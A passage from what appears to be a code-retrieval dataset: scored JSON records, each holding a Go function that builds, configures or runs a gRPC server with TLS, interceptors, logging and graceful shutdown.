"5c62f6bcc231a1bc588836f9a1c1bd4a", "score": "0.6619885", "text": "func ListenAndServe(grpcServer *grpc.Server, otherHandler http.Handler) error {\n\tlis, err := net.Listen(\"tcp\", *ListenAddress)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to listen: %v\", err)\n\t}\n\n\tif *serverCert != \"\" {\n\t\tserverCertKeypair, err := tls.LoadX509KeyPair(*serverCert, *serverKey)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to load server tls cert/key: %v\", err)\n\t\t}\n\n\t\tvar clientCertPool *x509.CertPool\n\t\tif *clientCA != \"\" {\n\t\t\tcaCert, err := ioutil.ReadFile(*clientCA)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to load client ca: %v\", err)\n\t\t\t}\n\t\t\tclientCertPool = x509.NewCertPool()\n\t\t\tclientCertPool.AppendCertsFromPEM(caCert)\n\t\t}\n\n\t\tvar h http.Handler\n\t\tif otherHandler == nil {\n\t\t\th = grpcServer\n\t\t} else {\n\t\t\th = grpcHandlerFunc(grpcServer, otherHandler)\n\t\t}\n\n\t\ttlsConfig := &tls.Config{\n\t\t\tCertificates: []tls.Certificate{serverCertKeypair},\n\t\t\tNextProtos: []string{\"h2\"},\n\t\t}\n\n\t\tif *allowedCN != \"\" {\n\t\t\ttlsConfig.VerifyPeerCertificate = func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {\n\t\t\t\tfor _, chains := range verifiedChains {\n\t\t\t\t\tif len(chains) != 0 {\n\t\t\t\t\t\tif *allowedCN == chains[0].Subject.CommonName {\n\t\t\t\t\t\t\treturn nil\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn errors.New(\"CommonName authentication failed\")\n\t\t\t}\n\t\t}\n\n\t\thttpsServer := &http.Server{\n\t\t\tHandler: h,\n\t\t\tTLSConfig: tlsConfig,\n\t\t}\n\n\t\tif clientCertPool != nil {\n\t\t\thttpsServer.TLSConfig.ClientCAs = clientCertPool\n\t\t\thttpsServer.TLSConfig.ClientAuth = tls.RequireAndVerifyClientCert\n\t\t} else {\n\t\t\tglog.Warningf(\"no client ca provided for grpc server\")\n\t\t}\n\n\t\tglog.Infof(\"serving on %v\", *ListenAddress)\n\t\terr = httpsServer.Serve(tls.NewListener(lis, httpsServer.TLSConfig))\n\t\treturn fmt.Errorf(\"failed to serve: %v\", err)\n\t}\n\n\tglog.Warningf(\"serving INSECURE on %v\", *ListenAddress)\n\terr = grpcServer.Serve(lis)\n\treturn fmt.Errorf(\"failed to serve: %v\", err)\n}", "title": "" }, { "docid": "1fca0ad9c8f405644adf995d092c4851", "score": "0.6591094", "text": "func MakeGRPCServer(ctx context.Context, s server.Runner, endpoints *Endpoints, mdGetter metadata.Getter) v1.EchoServiceServer {\n\treturn makeGRPCServer(ctx, s, endpoints, mdGetter)\n}", "title": "" }, { "docid": "579f6275c308e2f2fc3b0d874b9d320e", "score": "0.65886307", "text": "func (s *Service) Serve(addr string) {\n\tlistener, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to listen: %v\", err)\n\t}\n\n\tlogrus.SetLevel(logrus.DebugLevel)\n\tlogrus.SetOutput(os.Stdout)\n\t// logrus.SetFormatter(&logrus.JSONFormatter{})\n\tlogger := logrus.WithFields(logrus.Fields{})\n\topts := []grpc_logrus.Option{\n\t\tgrpc_logrus.WithDurationField(func(duration time.Duration) (key string, value interface{}) {\n\t\t\treturn \"grpc.time_ns\", duration.Nanoseconds()\n\t\t}),\n\t}\n\n\tgrpc_logrus.ReplaceGrpcLogger(logger)\n\n\tbugsnagAPIKey := os.Getenv(\"BUGSNAG_API_KEY\")\n\tif bugsnagAPIKey != \"\" {\n\t\tbugsnag.Configure(bugsnag.Configuration{\n\t\t\tAPIKey: bugsnagAPIKey,\n\t\t})\n\t}\n\n\tserver := grpc.NewServer(\n\t\tgrpc_middleware.WithUnaryServerChain(\n\t\t\tgrpc_ctxtags.UnaryServerInterceptor(grpc_ctxtags.WithFieldExtractor(grpc_ctxtags.CodeGenRequestFieldExtractor)),\n\t\t\tgrpc_logrus.UnaryServerInterceptor(logger, opts...),\n\t\t\tfunc(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) {\n\t\t\t\tdefer func() {\n\t\t\t\t\tif r := recover(); r != nil {\n\t\t\t\t\t\terr = grpc.Errorf(codes.Internal, \"Internal Server Error\")\n\t\t\t\t\t\tfmt.Printf(\"%s\\n\", r)\n\t\t\t\t\t\tif bugsnagAPIKey != \"\" {\n\t\t\t\t\t\t\tbugsnag.Notify(fmt.Errorf(\"%s\", r), ctx)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}()\n\t\t\t\tresp, err := handler(ctx, req)\n\t\t\t\ts, _ := status.FromError(err)\n\t\t\t\tif s.Code() == codes.Unknown {\n\t\t\t\t\tstacktrace := fmt.Sprintf(\"%+v\\n\", err)\n\t\t\t\t\tfmt.Print(stacktrace)\n\t\t\t\t\tif bugsnagAPIKey != \"\" {\n\t\t\t\t\t\tbugsnag.Notify(err, ctx, bugsnag.MetaData{\"info\": {\"stacktrace\": stacktrace}})\n\t\t\t\t\t}\n\t\t\t\t\terr = grpc.Errorf(codes.Internal, \"Internal Server Error\")\n\t\t\t\t}\n\t\t\t\treturn resp, err\n\t\t\t},\n\t\t),\n\t)\n\tpb.RegisterAdventarServer(server, s)\n\tif err := server.Serve(listener); err != nil {\n\t\tlog.Fatalf(\"Failed to serve: %v\", err)\n\t}\n}", "title": "" }, { "docid": "96fab7bef01da4bdea478cb02177af69", "score": "0.65853435", "text": "func MakeGRPCServer(ctx context.Context, endpoints Endpoints) pb.SwedishServer {\n\tserverOptions := []grpctransport.ServerOption{\n\t\tgrpctransport.ServerBefore(metadataToContext),\n\t}\n\treturn &grpcServer{\n\t\t// swedish\n\n\t\ttranslate: grpctransport.NewServer(\n\t\t\tctx,\n\t\t\tendpoints.TranslateEndpoint,\n\t\t\tDecodeGRPCTranslateRequest,\n\t\t\tEncodeGRPCTranslateResponse,\n\t\t\tserverOptions...,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "f82c12d93e275ff15eeea14a1222ef54", "score": "0.65823025", "text": "func MakeGRPCServer(ctx context.Context, endpoints Endpoints, logger log.Logger) pb.UserServiceServer {\n\toptions := []grpctransport.ServerOption{\n\t\tgrpctransport.ServerErrorLogger(logger),\n\t}\n\n\treturn &grpcServer{\n\t\tcreateUser: grpctransport.NewServer(\n\t\t\tendpoints.CreateUserEndpoint,\n\t\t\tDecodeGRPCCreateUserRequest,\n\t\t\tEncodeGRPCCreateUserResponse,\n\t\t\toptions...,\n\t\t),\n\t\teditUser: grpctransport.NewServer(\n\t\t\tendpoints.EditUserEndpoint,\n\t\t\tDecodeGRPCEditUserRequest,\n\t\t\tEncodeGRPCEditUserResponse,\n\t\t\toptions...,\n\t\t),\n\t\tchangeUsername: grpctransport.NewServer(\n\t\t\tendpoints.ChangeUsernameEndpoint,\n\t\t\tDecodeGRPCChangeUsernameRequest,\n\t\t\tEncodeGRPCChangeUsernameResponse,\n\t\t\toptions...,\n\t\t),\n\t\tdeleteUser: grpctransport.NewServer(\n\t\t\tendpoints.DeleteUserEndpoint,\n\t\t\tDecodeGRPCDeleteUserRequest,\n\t\t\tEncodeGRPCDeleteUserResponse,\n\t\t\toptions...,\n\t\t),\n\t\tresetPassword: grpctransport.NewServer(\n\t\t\tendpoints.ResetPasswordEndpoint,\n\t\t\tDecodeGRPCResetPasswordRequest,\n\t\t\tEncodeGRPCResetPasswordResponse,\n\t\t\toptions...,\n\t\t),\n\t\tgetUser: grpctransport.NewServer(\n\t\t\tendpoints.GetUserEndpoint,\n\t\t\tDecodeGRPCGetUserRequest,\n\t\t\tEncodeGRPCGetUserResponse,\n\t\t\toptions...,\n\t\t),\n\t\tcheckLoginCredentials: grpctransport.NewServer(\n\t\t\tendpoints.CheckLoginCredentialsEndpoint,\n\t\t\tDecodeGRPCCheckLoginCredentialsRequest,\n\t\t\tEncodeGRPCCheckLoginCredentialsResponse,\n\t\t\toptions...,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "c38d3eb0d13d54867642d50f415847d5", "score": "0.65653294", "text": "func (s *Server) NewGRPCServer() (*grpc.Server, error) {\n\tauthClient, err := s.clientsFactory.AuthenticationClient()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"create auth client\")\n\t}\n\n\tauthInterceptor := middleware.NewAuthInterceptor(authClient, s.authorizer)\n\n\tlogrusEntry := log.NewEntry(log.StandardLogger())\n\n\t// This function determines the log level based on the returned status code:\n\t// We divert from the default only by pushing non-error-returns into debug\n\t// logs. See DefaultCodeToLevel for the rest of the mapping.\n\tlevelFunc := func(c codes.Code) log.Level {\n\t\tswitch c {\n\t\tcase codes.OK:\n\t\t\treturn log.DebugLevel\n\t\tdefault:\n\t\t\treturn grpc_logrus.DefaultCodeToLevel(c)\n\t\t}\n\t}\n\n\tlogrusOpts := []grpc_logrus.Option{\n\t\t// don't log the gateway's health check (it's currently satisfied if the\n\t\t// response is code.Unauthenticated)\n\t\tgrpc_logrus.WithDecider(func(m string, err error) bool {\n\t\t\treturn m != \"/chef.automate.api.Gateway/GetHealth\"\n\t\t}),\n\n\t\tgrpc_logrus.WithLevels(levelFunc),\n\t}\n\n\t// log grpc standard log stuff through logrus\n\tgrpc_logrus.ReplaceGrpcLogger(logrusEntry)\n\n\t// Enable prometheus timing data gathering\n\t//\n\t// Note (2019/01/15) sr: these come with a cost, but given that we already have\n\t// the metrics endpoint here, and these numbers are exactly what we need, I'd\n\t// propose we try rolling with this for a while.\n\t// See https://github.com/grpc-ecosystem/go-grpc-prometheus/tree/68e3a13e411#histograms\n\t// for rationale on why this is disabled by default.\n\tgrpc_prometheus.EnableHandlingTimeHistogram()\n\n\t// Note re: Ordering\n\t// Any middleware trying add to the logging fields needs to come AFTER\n\t// grpc_logrus. Also, grpc_logrus itself has to come after grpc_ctxtags, as it\n\t// depends on that.\n\n\topts := []grpc.ServerOption{\n\t\tgrpc.StreamInterceptor(grpc_middleware.ChainStreamServer(\n\t\t\tgrpc_ctxtags.StreamServerInterceptor(),\n\t\t\tgrpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...),\n\t\t\tauthInterceptor.StreamServerInterceptor(),\n\t\t\tgrpc_prometheus.StreamServerInterceptor,\n\t\t)),\n\t\tgrpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer(\n\t\t\tgrpc_ctxtags.UnaryServerInterceptor(),\n\t\t\tgrpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...),\n\t\t\ttracing.ServerInterceptor(tracing.GlobalTracer()),\n\t\t\tauthInterceptor.UnaryServerInterceptor(),\n\t\t\tgrpc_prometheus.UnaryServerInterceptor,\n\t\t)),\n\t}\n\tgrpcServer := s.connFactory.NewServer(opts...)\n\n\tdebug_api.RegisterDebugServer(grpcServer, NewDebugServer())\n\n\treturn grpcServer, nil\n}", "title": "" }, { "docid": "5553245acecdf1109b7d17e9b1f88d7e", "score": "0.6562592", "text": "func (s *Server) Serve(ctx context.Context) error {\n\tserveErr := make(chan error)\n\n\t// Launch goroutine to serve gRPC requests.\n\tgo func() {\n\t\tdefer close(serveErr)\n\n\t\tif err := s.grpcServer.Serve(s.listener); err != nil {\n\t\t\tserveErr <- fmt.Errorf(\"unable to start lc-api gRPC server: %w\", err)\n\t\t}\n\t}()\n\n\tselect {\n\tcase <-ctx.Done():\n\t\ts.log.Info().\n\t\t\tTime(zerolog.TimestampFieldName, time.Now().UTC()).\n\t\t\tMsg(\"Trying to gracefully stop lc-api gRPC server\")\n\n\t\tstopped := make(chan struct{})\n\n\t\tgo func() {\n\t\t\ts.grpcServer.GracefulStop()\n\t\t\tclose(stopped)\n\t\t}()\n\n\t\tshutdownTimer := time.NewTimer(s.shutdownTimeout)\n\t\tselect {\n\t\tcase <-stopped:\n\t\t\ts.log.Info().\n\t\t\t\tTime(zerolog.TimestampFieldName, time.Now().UTC()).\n\t\t\t\tMsg(\"Gracefully stopped lc-api gRPC server\")\n\n\t\t\tshutdownTimer.Stop()\n\n\t\t\treturn nil\n\t\tcase <-shutdownTimer.C:\n\t\t\ts.log.Warn().\n\t\t\t\tTime(zerolog.TimestampFieldName, time.Now().UTC()).\n\t\t\t\tMsg(\"Unable to gracefully stop lc-api gRPC server, stopping it immediately\")\n\n\t\t\ts.grpcServer.Stop()\n\n\t\t\treturn nil\n\t\t}\n\tcase err := <-serveErr:\n\t\treturn err\n\t}\n}", "title": "" }, { "docid": "43a1b3fa3f31a24039c5f5ab98ade590", "score": "0.6560984", "text": "func main() {\n\tlogger, _ := zap.NewDevelopment()\n\tlog := logger.Sugar()\n\n\tport := flag.Int(\"port\", 8080, \"gRPC server port\")\n\tflag.Parse()\n\n\trand.Seed(time.Now().Unix())\n\tinitMockNodes(\"Servers\", uint64(10))\n\n\tlog.Infof(\"Starting server at port %d\", *port)\n\tlis, err := net.Listen(\"tcp\", fmt.Sprintf(\"0.0.0.0:%d\", *port))\n\n\tif err != nil {\n\t\tlog.Fatalf(\"Error while listening : %v\", err)\n\t}\n\n\ts := grpc.NewServer()\n\toia.RegisterAlarmLifecycleListenerServer(s, &Server{Log: log})\n\n\tgo func() {\n\t\tif err := s.Serve(lis); err != nil {\n\t\t\tlog.Fatalf(\"Error while serving : %v\", err)\n\t\t}\n\t}()\n\n\tstop := make(chan os.Signal, 1)\n\tsignal.Notify(stop, os.Interrupt)\n\t<-stop\n\tlog.Warnf(\"Terminating\")\n\ts.Stop()\n}", "title": "" }, { "docid": "3c9536b2751d91eff867d510a336f708", "score": "0.65453905", "text": "func (srv *Server) StartServe() error {\r\n\tvar err error\r\n\tsrv.ln, err = net.Listen(srv.network, srv.address)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\r\n\tvar opts []grpc.ServerOption\r\n\topts = append(opts, grpc.MaxRecvMsgSize(int(maxRequestBytes+grpcOverheadBytes)))\r\n\topts = append(opts, grpc.MaxSendMsgSize(maxSendBytes))\r\n\topts = append(opts, grpc.MaxConcurrentStreams(maxStreams))\r\n\tsrv.grpcServer = grpc.NewServer(opts...)\r\n\r\n\trpcpb.RegisterTransportServer(srv.grpcServer, srv)\r\n\r\n\tsrv.lg.Info(\r\n\t\t\"gRPC server started\",\r\n\t\tzap.String(\"address\", srv.address),\r\n\t\tzap.String(\"listener-address\", srv.ln.Addr().String()),\r\n\t)\r\n\terr = srv.grpcServer.Serve(srv.ln)\r\n\tif err != nil && strings.Contains(err.Error(), \"use of closed network connection\") {\r\n\t\tsrv.lg.Info(\r\n\t\t\t\"gRPC server is shut down\",\r\n\t\t\tzap.String(\"address\", srv.address),\r\n\t\t\tzap.Error(err),\r\n\t\t)\r\n\t} else {\r\n\t\tsrv.lg.Warn(\r\n\t\t\t\"gRPC server returned with error\",\r\n\t\t\tzap.String(\"address\", srv.address),\r\n\t\t\tzap.Error(err),\r\n\t\t)\r\n\t}\r\n\treturn err\r\n}", "title": "" }, { "docid": "5c9cce1508f6901463b5d4645ce62fd6", "score": "0.6534942", "text": "func NewGRPCServer() (*GRPCServer, error) {\n\tstate, err := NewState()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &GRPCServer{State: state}, nil\n}", "title": "" }, { "docid": "5f74e038aa538b6437a60dbd3b66fc98", "score": "0.6532453", "text": "func Serve(a *atlas.Atlas, port int) error {\n\tlistener, err := net.Listen(\"tcp\", fmt.Sprintf(\":%d\", port))\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to listen: %v\", err)\n\t\treturn err\n\t}\n\topts := []grpc.ServerOption{\n\t\twithLoggingInterceptor(),\n\t}\n\tserver := grpc.NewServer(opts...)\n\tpb.RegisterAtlasServer(server, &atlasServer{atlas: a})\n\treturn server.Serve(listener)\n}", "title": "" }, { "docid": "2e75f93aa635e6323f4b8e53792410fa", "score": "0.6521488", "text": "func NewGRPCServer(\n\tsvcEndpoints delivery.Endpoints,\n\tlogger log.Logger,\n) account_grpc.AccountServiceServer {\n\tvar options []kitgrpc.ServerOption\n\terrorLogger := kitgrpc.ServerErrorLogger(logger)\n\toptions = append(options, errorLogger)\n\n\treturn &grpcServer{\n\t\tcreateuser: kitgrpc.NewServer(\n\t\t\tsvcEndpoints.CreateUser,\n\t\t\tdecodeCreateUserRequest,\n\t\t\tencodeCreateUserResponse,\n\t\t\toptions...,\n\t\t),\n\t\tgetuser: kitgrpc.NewServer(\n\t\t\tsvcEndpoints.GetUser,\n\t\t\tdecodeGetUserRequest,\n\t\t\tencodeGetUserResponse,\n\t\t\toptions...,\n\t\t),\n\t\tlogger: logger,\n\t}\n}", "title": "" }, { "docid": "ed2013b3ada7e590a3019ffa27fd6727", "score": "0.650832", "text": "func (s *Server) Serve() error {\n\tlog.WithFields(log.Fields{\n\t\t\"http-host\": s.httpListenHost,\n\t\t\"http-port\": s.httpListenPort,\n\t}).Info(\"Starting server\")\n\n\t// http 2.0 grpc server\n\tgrpcServer, err := s.NewGRPCServer()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"init GRPC server\")\n\t}\n\tif err := s.RegisterGRPCServices(grpcServer); err != nil {\n\t\treturn errors.Wrap(err, \"registering GRPC services\")\n\t}\n\n\t// After all your registrations, make sure all of the Prometheus metrics are initialized.\n\tgrpc_prometheus.Register(grpcServer)\n\n\t// http 1.1 server\n\tmux := http.NewServeMux()\n\n\t// dial in options for rest gateway to GRPC\n\t// register http 1.1 protobuf gateway services\n\tgrpcURILocal := fmt.Sprintf(\"127.0.0.1:%d\", s.grpcListenPort)\n\tv0Mux, err := unversionedRESTMux(grpcURILocal, s.connFactory.DialOptions(\"automate-gateway\"))\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"registering v0 REST gateway services\")\n\t}\n\tmux.Handle(\"/\", v0Mux)\n\n\tversionedMux, err := versionedRESTMux(grpcURILocal, s.connFactory.DialOptions(\"automate-gateway\"), s.gwRouteFeatureFlags)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"registering versioned REST gateway services\")\n\t}\n\tmux.Handle(\"/apis/\", http.StripPrefix(\"/apis\", versionedMux))\n\n\t// custom mux route for data-collector\n\t// Note: automate-load-balancer rewrites\n\t// /data-collector/v0(.*) => /events/data-collector\n\t// and drops everything that is matched -- there will be no trailing\n\t// slashes, and no further paths\n\tdataCollectorForPOST := func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Method == http.MethodPost {\n\t\t\ts.dataCollectorHandler(w, r)\n\t\t\treturn\n\t\t}\n\t\tv0Mux.ServeHTTP(w, r)\n\t}\n\tmux.HandleFunc(\"/events/data-collector\", dataCollectorForPOST)\n\n\t// \"GET /events/data-collector/\" is used by erchef's /_status endpoint\n\t// Note: erchef's data_collector:ping/0 uses data_collector_http:get(\"/\"),\n\t// which ends up requesting /events/data-collector/ (trailing slash) AND\n\t// queries automate-gateway directly, so nginx doesn't help us.\n\tmux.HandleFunc(\"/events/data-collector/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// grpc-gateway-generated handler code doesn't match this with a trailing /\n\t\tr.URL.Path = \"/events/data-collector\"\n\t\tdataCollectorForPOST(w, r)\n\t})\n\n\t// register custom route for profile upload; corresponds to:\n\t// https://github.com/chef/automate/blob/master/components/automate-gateway/api/compliance/profiles/profiles.proto\n\t// `rpc Create (stream ProfilePostRequest) returns (CheckResult) {};`\n\tmux.HandleFunc(\"/compliance/profiles\", s.ProfileCreateHandler)\n\n\tprofileTarHandlerUnlessDELETE := func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Method != http.MethodDelete {\n\t\t\ts.ProfileTarHandler(w, r)\n\t\t\treturn\n\t\t}\n\t\tv0Mux.ServeHTTP(w, r)\n\t}\n\n\t// custom mux route for profile tar download; corresponds to:\n\t// https://github.com/chef/automate/blob/master/components/automate-gateway/api/compliance/profiles/profiles.proto\n\t// `rpc ReadTar(ProfileDetails) returns (stream ProfileData) {};`\n\tmux.HandleFunc(\"/compliance/profiles/tar\", profileTarHandlerUnlessDELETE)\n\n\t// for legacy endpoints:\n\t// compliance/profiles/{owner}/{name}/tar,\n\t// compliance/profiles/{owner}/{name}/version/{version}/tar\n\t// these are used by the audit cookbook/inspec/chef-server\n\tmux.HandleFunc(\"/compliance/profiles/\", profileTarHandlerUnlessDELETE) // legacy route\n\n\t// redirect profiles/search to the v0Mux (needed b/c of above mux on `/compliance/profiles/`)\n\tmux.Handle(\"/compliance/profiles/search\", v0Mux)\n\n\t// redirect profiles/read to the v0Mux (needed b/c of above mux on `/compliance/profiles/`)\n\tmux.Handle(\"/compliance/profiles/read/\", v0Mux)\n\n\t// custom mux route for export (ignores its request method)\n\t// needed b/c gateway does not support stream; corresponds to\n\t// https://github.com/chef/automate/blob/master/components/automate-gateway/api/compliance/reporting/reporting.proto\n\t// `rpc Export(Query) returns (stream ExportData) {};`\n\tmux.HandleFunc(\"/compliance/reporting/export\", s.ReportExportHandler)\n\n\t// custom mux route for export (ignores its request method)\n\t// needed b/c gateway does not support stream; corresponds to\n\t// https://github.com/chef/automate/blob/master/api/interservice/cfgmgmt/service/cfgmgmt.proto\n\t// `rpc NodeExport(NodeExport) returns (stream ExportData) {};`\n\tmux.HandleFunc(\"/cfgmgmt/nodes/export\", s.configMgmtNodeExportHandler)\n\n\t// register open api endpoint definitions\n\tmux.Handle(\"/openapi/\", http.StripPrefix(\"/openapi\", openAPIServicesHandler()))\n\n\t// attach open api ui\n\tmux.Handle(\"/openapi/ui/\", http.StripPrefix(\"/openapi/ui\", serveOpenAPIUI(s.openapiUIDir)))\n\n\t// Register Prometheus metrics handler.\n\tmux.Handle(\"/metrics\", promhttp.Handler())\n\n\t// start server\n\turi := fmt.Sprintf(\"%s:%d\", s.httpListenHost, s.httpListenPort)\n\tsrv := &http.Server{\n\t\tAddr: uri,\n\t\tHandler: mux,\n\t\tTLSConfig: &tls.Config{\n\t\t\tCertificates: []tls.Certificate{*s.serviceKeyPair},\n\t\t\tNextProtos: []string{\"h2\"},\n\t\t\tClientAuth: tls.VerifyClientCertIfGiven,\n\t\t\tClientCAs: s.rootCerts,\n\t\t\tMinVersion: tls.VersionTLS12,\n\t\t\t// We're the boss.\n\t\t\tPreferServerCipherSuites: true,\n\t\t\tCipherSuites: secureconn.DefaultCipherSuites(),\n\t\t},\n\t}\n\n\tconn, err := net.Listen(\"tcp\", uri)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"listen on %s\", uri)\n\t}\n\tlog.WithFields(log.Fields{\n\t\t\"uri\": uri,\n\t}).Info(\"Serve gRPC/REST\")\n\n\tgrpcURI := fmt.Sprintf(\"%s:%d\", s.grpcListenHost, s.grpcListenPort)\n\tgrpcConn, err := net.Listen(\"tcp\", grpcURI)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"listen on %s\", grpcURI)\n\t}\n\tlog.WithFields(log.Fields{\n\t\t\"grpc_uri\": grpcURI,\n\t}).Info(\"Serve gRPC\")\n\n\t// Note: we start both servers in a goroutine, and when one of them returns,\n\t// (with what must be an error), we (brutally) abort everything and return\n\t// that error.\n\terrc := make(chan error)\n\tgo func() {\n\t\terr := srv.Serve(tls.NewListener(conn, srv.TLSConfig))\n\t\terrc <- errors.Wrap(err, \"HTTP\")\n\t}()\n\tgo func() {\n\t\terrc <- errors.Wrap(grpcServer.Serve(grpcConn), \"GRPC\")\n\t}()\n\n\treturn errors.Wrap(<-errc, \"Serve\")\n}", "title": "" }, { "docid": "0f9744eb5c31637938b9a9215e15a3d5", "score": "0.65045357", "text": "func NewGRPCServer(drv driver.DriverModule, opts ...grpc.ServerOption) *GRPCServer {\n\treturn &GRPCServer{drv: drv, Options: opts}\n}", "title": "" }, { "docid": "b4bca0831c0bcd34f10fe3d4df5ef8b8", "score": "0.65026623", "text": "func NewGRPCServer(ctx context.Context, endpoints ep.VaultEndpoints) pb.VaultServer {\n\treturn &grpcServer{\n\t\thash: grpctransport.NewServer(\n\t\t\tendpoints.HashEndpoint,\n\t\t\tDecodeGRPCHashRequest,\n\t\t\tEncodeGRPCHashResponse,\n\t\t),\n\t\tvalidate: grpctransport.NewServer(\n\t\t\tendpoints.ValidateEndpoint,\n\t\t\tDecodeGRPCValidateRequest,\n\t\t\tEncodeGRPCValidateResponse,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "ddefe449dc6710184e398cb0aa14cdc6", "score": "0.6497832", "text": "func NewGRPCServer(c *conf.Server, service *service.CouponService, tp *tracesdk.TracerProvider, logger log.Logger) *grpc.Server {\n\tvar opts = []grpc.ServerOption{\n\t\tgrpc.Middleware(\n\t\t\trecovery.Recovery(),\n\t\t\ttracing.Server(),\n\t\t\tgetOperation,\n\t\t\t// 对于需要登录的路由进行jwt中间件验证\n\t\t\tselector.Server(jwt.AuthMiddleware()).Build(),\n\t\t),\n\t}\n\tif c.Grpc.Network != \"\" {\n\t\topts = append(opts, grpc.Network(c.Grpc.Network))\n\t}\n\tif c.Grpc.Addr != \"\" {\n\t\topts = append(opts, grpc.Address(c.Grpc.Addr))\n\t}\n\tif c.Grpc.Timeout != nil {\n\t\topts = append(opts, grpc.Timeout(c.Grpc.Timeout.AsDuration()))\n\t}\n\tsrv := grpc.NewServer(opts...)\n\tv1.RegisterCouponServer(srv, service)\n\treturn srv\n}", "title": "" }, { "docid": "01e6480afd5d454c13c1bd51e1dd9676", "score": "0.64915496", "text": "func NewGRPCServer(\n\tquerier m3.Querier,\n\tqueryContextOpts models.QueryContextOptions,\n\tpoolWrapper *pools.PoolWrapper,\n\tinstrumentOpts instrument.Options,\n) *grpc.Server {\n\tserver := grpc.NewServer()\n\tgrpcServer := &grpcServer{\n\t\tcreateAt: time.Now(),\n\t\tquerier: querier,\n\t\tqueryContextOpts: queryContextOpts,\n\t\tpoolWrapper: poolWrapper,\n\t\tinstrumentOpts: instrumentOpts,\n\t}\n\n\trpc.RegisterQueryServer(server, grpcServer)\n\treturn server\n}", "title": "" }, { "docid": "7e589e8cf9080f8049624e580a0aa3a5", "score": "0.6488699", "text": "func StartGrpcServer(addr string) (server *Server, err error) {\n\tvar lis net.Listener\n\tif lis, err = net.Listen(\"tcp\", addr); err == nil {\n\t\ts := grpc.NewServer()\n\t\tserver = new(Server)\n\t\tig.RegisterGoCryptoTraderServiceServer(s, server)\n\t\tgo func() {\n\t\t\terr := s.Serve(lis)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\t\t}()\n\t}\n\treturn\n}", "title": "" }, { "docid": "527d01741021d9a042b4119b947f227a", "score": "0.64816177", "text": "func (p *StorageGRPCPlugin) GRPCServer(_ *plugin.GRPCBroker, s *grpc.Server) error {\n\treturn p.RegisterHandlers(s)\n}", "title": "" }, { "docid": "989e03729b2859925effb06edc2b65b4", "score": "0.6456795", "text": "func NewGrpcServer(fns ...FunInterceptor) *GrpcServer {\n\n\tvar unaryInterceptors []grpc.UnaryServerInterceptor\n\tvar streamInterceptors []grpc.StreamServerInterceptor\n\n\t// add tracer、monitor interceptor\n\ttracer := opentracing.GlobalTracer()\n\tunaryInterceptors = append(unaryInterceptors, otgrpc.OpenTracingServerInterceptor(tracer), monitorServerInterceptor())\n\tstreamInterceptors = append(streamInterceptors, otgrpc.OpenTracingStreamServerInterceptor(tracer), monitorStreamServerInterceptor())\n\n\t// TODO 采用框架内显式注入interceptors的方式,不再进行二次包装,后续该部分功能会删除掉\n\t//for _, fn := range fns {\n\t//\t// 注册interceptor\n\t//\tvar interceptor grpc.UnaryServerInterceptor\n\t//\tinterceptor = func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (resp interface{}, err error) {\n\t//\t\terr = fn(ctx, req, info.FullMethod)\n\t//\t\tif err != nil {\n\t//\t\t\treturn\n\t//\t\t}\n\t//\t\t// 继续处理请求\n\t//\t\treturn handler(ctx, req)\n\t//\t}\n\t//\tunaryInterceptors = append(unaryInterceptors, interceptor)\n\t//\n\t//\tvar streamInterceptor grpc.StreamServerInterceptor\n\t//\tstreamInterceptor = func(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\t//\t\tss.Context()\n\t//\t\terr := fn(ss.Context(), srv, info.FullMethod)\n\t//\t\tif err != nil {\n\t//\t\t\treturn err\n\t//\t\t}\n\t//\t\t// 继续处理请求\n\t//\t\treturn handler(srv, ss)\n\t//\t}\n\t//\tstreamInterceptors = append(streamInterceptors, streamInterceptor)\n\t//}\n\n\tvar opts []grpc.ServerOption\n\topts = append(opts, grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer(unaryInterceptors...)))\n\topts = append(opts, grpc.StreamInterceptor(grpc_middleware.ChainStreamServer(streamInterceptors...)))\n\n\t// 实例化grpc Server\n\tserver := grpc.NewServer(opts...)\n\treturn &GrpcServer{Server: server}\n}", "title": "" }, { "docid": "464a383a3315d567879f0c5782cca90c", "score": "0.6452736", "text": "func (server *WorkerServer) Serve() error {\n\tserver.grpcServer = grpc.NewServer(server.opts...)\n\tproto.RegisterWorkerServiceServer(server.grpcServer, server)\n\n\treturn server.grpcServer.Serve(server.listener)\n}", "title": "" }, { "docid": "05a13171795138067a1b85116eb9a6a4", "score": "0.6434873", "text": "func (s *Server) Run(ctx context.Context) error {\n\t// Register gRPC server\n\ts.srv = grpc.NewServer(Options(s.cfg)...)\n\tinfo.RegisterInfoServer(s.srv, s.is)\n\tgrpc_health_v1.RegisterHealthServer(s.srv, s.hs)\n\techo.RegisterEchoServer(s.srv, s.es)\n\n\tlistener, err := 